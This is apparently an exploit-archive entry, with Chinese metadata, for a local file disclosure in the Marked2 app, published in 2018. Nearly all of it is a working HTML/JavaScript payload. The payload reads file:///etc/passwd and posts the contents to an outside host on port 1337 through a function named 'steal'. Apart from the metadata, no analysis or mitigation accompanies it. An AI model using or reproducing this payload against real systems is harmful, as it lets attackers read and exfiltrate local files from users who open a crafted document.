发布 2018-02-06 漏洞条目

Marked2 – Local File Disclosure

Exploit Source

<body>

<script>

var file = "file:///etc/passwd";

var extract = "http://dev.example.com:1337/";

function get(url) {

var xmlHttp = new XMLHttpRequest();

xmlHttp.open("GET", url, false);

xmlHttp.send(null);

return xmlHttp.responseText;

}

function steal(data) {

var xhr = new XMLHttpRequest();

xhr.open('POST', extract, true);

xhr.onload = function() {};

xhr.send(data);

}

var cdl = get(file);

steal(cdl);

</script>

</body>

作者: Corben Leo
日期: 2018-02-06
类别: local
平台: multiple